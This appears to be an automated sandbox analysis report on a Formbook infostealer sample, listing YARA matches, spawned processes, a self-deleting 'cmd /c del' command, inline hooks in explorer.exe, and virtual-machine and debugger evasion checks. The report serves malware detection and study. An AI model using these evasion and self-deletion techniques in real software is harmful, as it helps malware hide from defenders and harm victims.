Source: 5.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: classification engine Classification label: mal100.troj.evad.winEXE@7/2@4/3
Source: C:\Users\user\Desktop\HOPEFUL.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\HOPEFUL.exe.log Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5192:120:WilError_01
Source: C:\Users\user\Desktop\HOPEFUL.exe File created: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Jump to behavior
Source: HOPEFUL.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\HOPEFUL.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: HOPEFUL.exe ReversingLabs: Detection: 31%
Source: unknown Process created: C:\Users\user\Desktop\HOPEFUL.exe 'C:\Users\user\Desktop\HOPEFUL.exe'
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe C:\Users\user\AppData\Local\Temp\AddInProcess32.exe
Source: unknown Process created: C:\Windows\SysWOW64\cmmon32.exe C:\Windows\SysWOW64\cmmon32.exe
Source: unknown Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\AppData\Local\Temp\AddInProcess32.exe'
Source: unknown Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\HOPEFUL.exe Process created: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmmon32.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\AppData\Local\Temp\AddInProcess32.exe' Jump to behavior
Source: C:\Windows\explorer.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6C3EE638-B588-4D7D-B30A-E7E36759305D}\InprocServer32 Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: HOPEFUL.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: HOPEFUL.exe Static PE information: Virtual size of .text is bigger than: 0x100000
Source: HOPEFUL.exe Static file information: File size 3437056 > 1048576
Source: HOPEFUL.exe Static PE information: Raw size of .text is bigger than: 0x100000 < 0x346600
Source: HOPEFUL.exe Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA
Source: Binary string: AddInProcess32.pdb source: HOPEFUL.exe, 00000000.00000003.279597183.0000000001459000.00000004.00000001.sdmp, AddInProcess32.exe, cmmon32.exe, 00000013.00000002.563508472.00000000052EF000.00000004.00000001.sdmp, AddInProcess32.exe.0.dr
Source: Binary string: cmmon32.pdb source: AddInProcess32.exe, 00000005.00000002.342910894.00000000017E0000.00000040.00000001.sdmp
Source: Binary string: wscui.pdbUGP source: explorer.exe, 0000000D.00000000.313912320.0000000006560000.00000002.00000001.sdmp
Source: Binary string: cmmon32.pdbGCTL source: AddInProcess32.exe, 00000005.00000002.342910894.00000000017E0000.00000040.00000001.sdmp
Source: Binary string: wntdll.pdbUGP source: AddInProcess32.exe, 00000005.00000002.342946293.00000000017F0000.00000040.00000001.sdmp, cmmon32.exe, 00000013.00000002.561037335.0000000004DC0000.00000040.00000001.sdmp
Source: Binary string: wntdll.pdb source: AddInProcess32.exe, cmmon32.exe
Source: Binary string: AddInProcess32.pdbpw source: HOPEFUL.exe, 00000000.00000003.279597183.0000000001459000.00000004.00000001.sdmp, AddInProcess32.exe, 00000005.00000002.341420581.0000000000DE2000.00000002.00020000.sdmp, cmmon32.exe, 00000013.00000002.563508472.00000000052EF000.00000004.00000001.sdmp, AddInProcess32.exe.0.dr
Source: Binary string: wscui.pdb source: explorer.exe, 0000000D.00000000.313912320.0000000006560000.00000002.00000001.sdmp

Data Obfuscation:

barindex
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\HOPEFUL.exe Code function: 0_2_02F005E6 pushfd ; iretd 0_2_02F00613
Source: C:\Users\user\Desktop\HOPEFUL.exe Code function: 0_2_02F04E9A push es; iretd 0_2_02F05094
Source: C:\Users\user\Desktop\HOPEFUL.exe Code function: 0_2_02F04B71 push es; iretd 0_2_02F05094
Source: C:\Users\user\Desktop\HOPEFUL.exe Code function: 0_2_02F00A2A push ds; ret 0_2_02F00A51
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_0041CEB5 push eax; ret 5_2_0041CF08
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_0041CF6C push eax; ret 5_2_0041CF72
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_0041CF02 push eax; ret 5_2_0041CF08
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_0041CF0B push eax; ret 5_2_0041CF72
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_0186D0D1 push ecx; ret 5_2_0186D0E4
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E3D0D1 push ecx; ret 19_2_04E3D0E4
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_00EDD856 push esi; ret 19_2_00EDD859
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_00EDCEB5 push eax; ret 19_2_00EDCF08
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_00EDCF6C push eax; ret 19_2_00EDCF72
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_00EDCF0B push eax; ret 19_2_00EDCF72
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_00EDCF02 push eax; ret 19_2_00EDCF08

Persistence and Installation Behavior:

barindex
Drops PE files
Source: C:\Users\user\Desktop\HOPEFUL.exe File created: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

barindex
Hides that the sample has been downloaded from the Internet (zone.identifier)
Source: C:\Users\user\Desktop\HOPEFUL.exe File opened: C:\Users\user\Desktop\HOPEFUL.exe\:Zone.Identifier read attributes | delete Jump to behavior
Modifies the prolog of user mode functions (user mode inline hooks)
Source: explorer.exe User mode code has changed: module: user32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x8F 0xFE 0xE0
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\cmmon32.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe RDTSC instruction interceptor: First address: 00000000004098E4 second address: 00000000004098EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe RDTSC instruction interceptor: First address: 0000000000409B5E second address: 0000000000409B64 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\cmmon32.exe RDTSC instruction interceptor: First address: 0000000000EC98E4 second address: 0000000000EC98EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\cmmon32.exe RDTSC instruction interceptor: First address: 0000000000EC9B5E second address: 0000000000EC9B64 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_00409A90 rdtsc 5_2_00409A90
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\HOPEFUL.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\Desktop\HOPEFUL.exe Window / User API: threadDelayed 851 Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Window / User API: threadDelayed 9007 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\HOPEFUL.exe TID: 6816 Thread sleep time: -8301034833169293s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe TID: 6816 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe TID: 6820 Thread sleep count: 851 > 30 Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe TID: 6820 Thread sleep count: 9007 > 30 Jump to behavior
Source: C:\Windows\explorer.exe TID: 5888 Thread sleep count: 33 > 30 Jump to behavior
Source: C:\Windows\explorer.exe TID: 5888 Thread sleep time: -66000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\cmmon32.exe TID: 5408 Thread sleep time: -65000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\explorer.exe Last function: Thread delayed
Source: C:\Windows\explorer.exe Last function: Thread delayed
Source: HOPEFUL.exe, 00000000.00000002.298295115.0000000004131000.00000004.00000001.sdmp Binary or memory string: VMware
Source: explorer.exe, 0000000D.00000000.318661588.000000000871F000.00000004.00000001.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 0000000D.00000000.318661588.000000000871F000.00000004.00000001.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000:
Source: HOPEFUL.exe, 00000000.00000002.298295115.0000000004131000.00000004.00000001.sdmp Binary or memory string: vmware svga
Source: explorer.exe, 0000000D.00000000.317989634.0000000008220000.00000002.00000001.sdmp Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: explorer.exe, 0000000D.00000000.318372391.0000000008640000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: HOPEFUL.exe, 00000000.00000002.298295115.0000000004131000.00000004.00000001.sdmp Binary or memory string: vmware
Source: HOPEFUL.exe, 00000000.00000002.298295115.0000000004131000.00000004.00000001.sdmp Binary or memory string: tpautoconnsvc#Microsoft Hyper-V
Source: HOPEFUL.exe, 00000000.00000002.298295115.0000000004131000.00000004.00000001.sdmp Binary or memory string: cmd.txtQEMUqemu
Source: HOPEFUL.exe, 00000000.00000002.298295115.0000000004131000.00000004.00000001.sdmp Binary or memory string: vmusrvc
Source: explorer.exe, 0000000D.00000002.573815285.00000000055D0000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}V*(E
Source: HOPEFUL.exe, 00000000.00000002.298295115.0000000004131000.00000004.00000001.sdmp Binary or memory string: vmsrvc
Source: HOPEFUL.exe, 00000000.00000002.298295115.0000000004131000.00000004.00000001.sdmp Binary or memory string: vmtools
Source: explorer.exe, 0000000D.00000000.318661588.000000000871F000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}~
Source: explorer.exe, 0000000D.00000000.318661588.000000000871F000.00000004.00000001.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: HOPEFUL.exe, 00000000.00000002.298295115.0000000004131000.00000004.00000001.sdmp Binary or memory string: vmware sata5vmware usb pointing device-vmware vmci bus deviceCvmware virtual s scsi disk device
Source: explorer.exe, 0000000D.00000000.310824417.0000000005603000.00000004.00000001.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b},
Source: HOPEFUL.exe, 00000000.00000002.298295115.0000000004131000.00000004.00000001.sdmp Binary or memory string: vboxservicevbox)Microsoft Virtual PC
Source: explorer.exe, 0000000D.00000000.317989634.0000000008220000.00000002.00000001.sdmp Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: explorer.exe, 0000000D.00000000.317989634.0000000008220000.00000002.00000001.sdmp Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: HOPEFUL.exe, 00000000.00000002.298295115.0000000004131000.00000004.00000001.sdmp Binary or memory string: virtual-vmware pointing device
Source: explorer.exe, 0000000D.00000000.317989634.0000000008220000.00000002.00000001.sdmp Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.
Source: C:\Users\user\Desktop\HOPEFUL.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging:

barindex
Checks if the current process is being debugged
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\cmmon32.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_00409A90 rdtsc 5_2_00409A90
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_0040ACD0 LdrLoadDll, 5_2_0040ACD0
Contains functionality to read the PEB
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_0184A185 mov eax, dword ptr fs:[00000030h] 5_2_0184A185
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_0183C182 mov eax, dword ptr fs:[00000030h] 5_2_0183C182
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01842581 mov eax, dword ptr fs:[00000030h] 5_2_01842581
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01842581 mov eax, dword ptr fs:[00000030h] 5_2_01842581
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01842581 mov eax, dword ptr fs:[00000030h] 5_2_01842581
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01842581 mov eax, dword ptr fs:[00000030h] 5_2_01842581
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01812D8A mov eax, dword ptr fs:[00000030h] 5_2_01812D8A
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01812D8A mov eax, dword ptr fs:[00000030h] 5_2_01812D8A
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01812D8A mov eax, dword ptr fs:[00000030h] 5_2_01812D8A
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01812D8A mov eax, dword ptr fs:[00000030h] 5_2_01812D8A
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01812D8A mov eax, dword ptr fs:[00000030h] 5_2_01812D8A
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01842990 mov eax, dword ptr fs:[00000030h] 5_2_01842990
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_0184FD9B mov eax, dword ptr fs:[00000030h] 5_2_0184FD9B
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_0184FD9B mov eax, dword ptr fs:[00000030h] 5_2_0184FD9B
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018E05AC mov eax, dword ptr fs:[00000030h] 5_2_018E05AC
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018E05AC mov eax, dword ptr fs:[00000030h] 5_2_018E05AC
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018461A0 mov eax, dword ptr fs:[00000030h] 5_2_018461A0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018461A0 mov eax, dword ptr fs:[00000030h] 5_2_018461A0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018435A1 mov eax, dword ptr fs:[00000030h] 5_2_018435A1
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018969A6 mov eax, dword ptr fs:[00000030h] 5_2_018969A6
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01841DB5 mov eax, dword ptr fs:[00000030h] 5_2_01841DB5
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01841DB5 mov eax, dword ptr fs:[00000030h] 5_2_01841DB5
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01841DB5 mov eax, dword ptr fs:[00000030h] 5_2_01841DB5
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018951BE mov eax, dword ptr fs:[00000030h] 5_2_018951BE
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018951BE mov eax, dword ptr fs:[00000030h] 5_2_018951BE
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018951BE mov eax, dword ptr fs:[00000030h] 5_2_018951BE
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018951BE mov eax, dword ptr fs:[00000030h] 5_2_018951BE
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01896DC9 mov eax, dword ptr fs:[00000030h] 5_2_01896DC9
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01896DC9 mov eax, dword ptr fs:[00000030h] 5_2_01896DC9
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01896DC9 mov eax, dword ptr fs:[00000030h] 5_2_01896DC9
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01896DC9 mov ecx, dword ptr fs:[00000030h] 5_2_01896DC9
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01896DC9 mov eax, dword ptr fs:[00000030h] 5_2_01896DC9
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01896DC9 mov eax, dword ptr fs:[00000030h] 5_2_01896DC9
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_0181B1E1 mov eax, dword ptr fs:[00000030h] 5_2_0181B1E1
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_0181B1E1 mov eax, dword ptr fs:[00000030h] 5_2_0181B1E1
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_0181B1E1 mov eax, dword ptr fs:[00000030h] 5_2_0181B1E1
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018A41E8 mov eax, dword ptr fs:[00000030h] 5_2_018A41E8
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_0182D5E0 mov eax, dword ptr fs:[00000030h] 5_2_0182D5E0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_0182D5E0 mov eax, dword ptr fs:[00000030h] 5_2_0182D5E0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018DFDE2 mov eax, dword ptr fs:[00000030h] 5_2_018DFDE2
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018DFDE2 mov eax, dword ptr fs:[00000030h] 5_2_018DFDE2
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018DFDE2 mov eax, dword ptr fs:[00000030h] 5_2_018DFDE2
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018DFDE2 mov eax, dword ptr fs:[00000030h] 5_2_018DFDE2
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018C8DF1 mov eax, dword ptr fs:[00000030h] 5_2_018C8DF1
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01819100 mov eax, dword ptr fs:[00000030h] 5_2_01819100
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01819100 mov eax, dword ptr fs:[00000030h] 5_2_01819100
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01819100 mov eax, dword ptr fs:[00000030h] 5_2_01819100
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01834120 mov eax, dword ptr fs:[00000030h] 5_2_01834120
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01834120 mov eax, dword ptr fs:[00000030h] 5_2_01834120
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01834120 mov eax, dword ptr fs:[00000030h] 5_2_01834120
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01834120 mov eax, dword ptr fs:[00000030h] 5_2_01834120
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01834120 mov ecx, dword ptr fs:[00000030h] 5_2_01834120
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_0181AD30 mov eax, dword ptr fs:[00000030h] 5_2_0181AD30
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018DE539 mov eax, dword ptr fs:[00000030h] 5_2_018DE539
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01823D34 mov eax, dword ptr fs:[00000030h] 5_2_01823D34
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01823D34 mov eax, dword ptr fs:[00000030h] 5_2_01823D34
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01823D34 mov eax, dword ptr fs:[00000030h] 5_2_01823D34
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01823D34 mov eax, dword ptr fs:[00000030h] 5_2_01823D34
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01823D34 mov eax, dword ptr fs:[00000030h] 5_2_01823D34
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01823D34 mov eax, dword ptr fs:[00000030h] 5_2_01823D34
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01823D34 mov eax, dword ptr fs:[00000030h] 5_2_01823D34
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01823D34 mov eax, dword ptr fs:[00000030h] 5_2_01823D34
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01823D34 mov eax, dword ptr fs:[00000030h] 5_2_01823D34
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01823D34 mov eax, dword ptr fs:[00000030h] 5_2_01823D34
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01823D34 mov eax, dword ptr fs:[00000030h] 5_2_01823D34
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01823D34 mov eax, dword ptr fs:[00000030h] 5_2_01823D34
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01823D34 mov eax, dword ptr fs:[00000030h] 5_2_01823D34
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018E8D34 mov eax, dword ptr fs:[00000030h] 5_2_018E8D34
